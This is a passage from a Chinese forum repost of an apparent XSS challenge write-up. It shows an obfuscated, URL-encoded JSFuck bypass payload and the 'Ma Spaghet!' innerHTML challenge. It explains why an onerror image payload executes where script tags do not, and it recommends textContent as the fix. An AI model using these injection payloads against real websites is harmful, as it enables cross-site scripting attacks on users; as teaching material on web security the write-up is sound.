%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%2B%5B%2B!%2B%5B%5D%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%5D%5D(!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%2B%5B!%2B%5B%5D%2B!%2B%5B%5D%5D)%2B(!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D)()((!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%5D%2B%5B%2B!%2B%5B%5D%5D%2B(%5B%2B%5B%5D%5D%2B!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D)
    2. 绕过!!!
    复制代码
  
   

  • 7.10 Ma Spaghet!
    1. <h2 id="spaghet"></h2>
    2. <script>
    3.     spaghet.innerHTML = (new URL(location).searchParams.get('somebody') || "Somebody") + " Toucha Ma Spaghet!"
    4. </script>
    复制代码
  • 从上面可以看出,我们的url中需要有somebody这样一个参数,如果有就get获取它,如果没有,默认值为somebody后面连接一个字符串,这里需要对innerHtml有一个比力清楚的熟悉。
  • InnerHtml
    1. 当给 innerHTML 设置一个值的时候到底发生了什么?用户代理按照以下步骤:
    2. 给定的值被解析为 HTML 或者 XML (取决于文档类型),
    3. 结果就是 DocumentFragment 对象代表元素新设置的 DOM 节点。
    4. 如果元素内容被替换成 <template>  元素,
    5. <template> 元素的 content 属性会被替换为步骤1中创建的新的 DocumentFragment。
    6. 对于其他所有元素,元素的内容都被替换为新的 DocumentFragment节点。
    复制代码
  • 安全题目
  • 用 innerHTML 插入文本到网页中并不稀有。但这有可能成为网站攻击的媒介,从而产生潜在的安全风险题目。
    1. const name = "John";
    2. // assuming 'el' is an HTML DOM element
    3. el.innerHTML = name; // harmless in this case
    4. // ...
    5. name = "<script>alert('I am John in an annoying alert!')</script>";
    6. el.innerHTML = name; // harmless in this case
    复制代码


  • 只管这看上去像 cross-site scripting 攻击,结果并不会导致什么。HTML 5 中指定不执行由 innerHTML 插入的 <script>标签。
  • 然而,有很多不依靠<script> 标签去执行 JavaScript 的方式。以是当你使用innerHTML 去设置你无法控制的字符串时,这仍然是一个安全题目。例如:
    1. const name = "<img src='x' onerror='alert(1)'>";
    2. el.innerHTML = name; // shows the alert
    复制代码
  • 基于这个缘故原由,当插入纯文本时,建议不要使用 innerHTML 。取而代之的是使用 Node.textContent ,它不会把给定的内容解析为 HTML,它仅仅是将原始文本插入给定的位置。

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

络腮胡菲菲

论坛元老
这个人很懒什么都没写!
快速回复 返回顶部 返回列表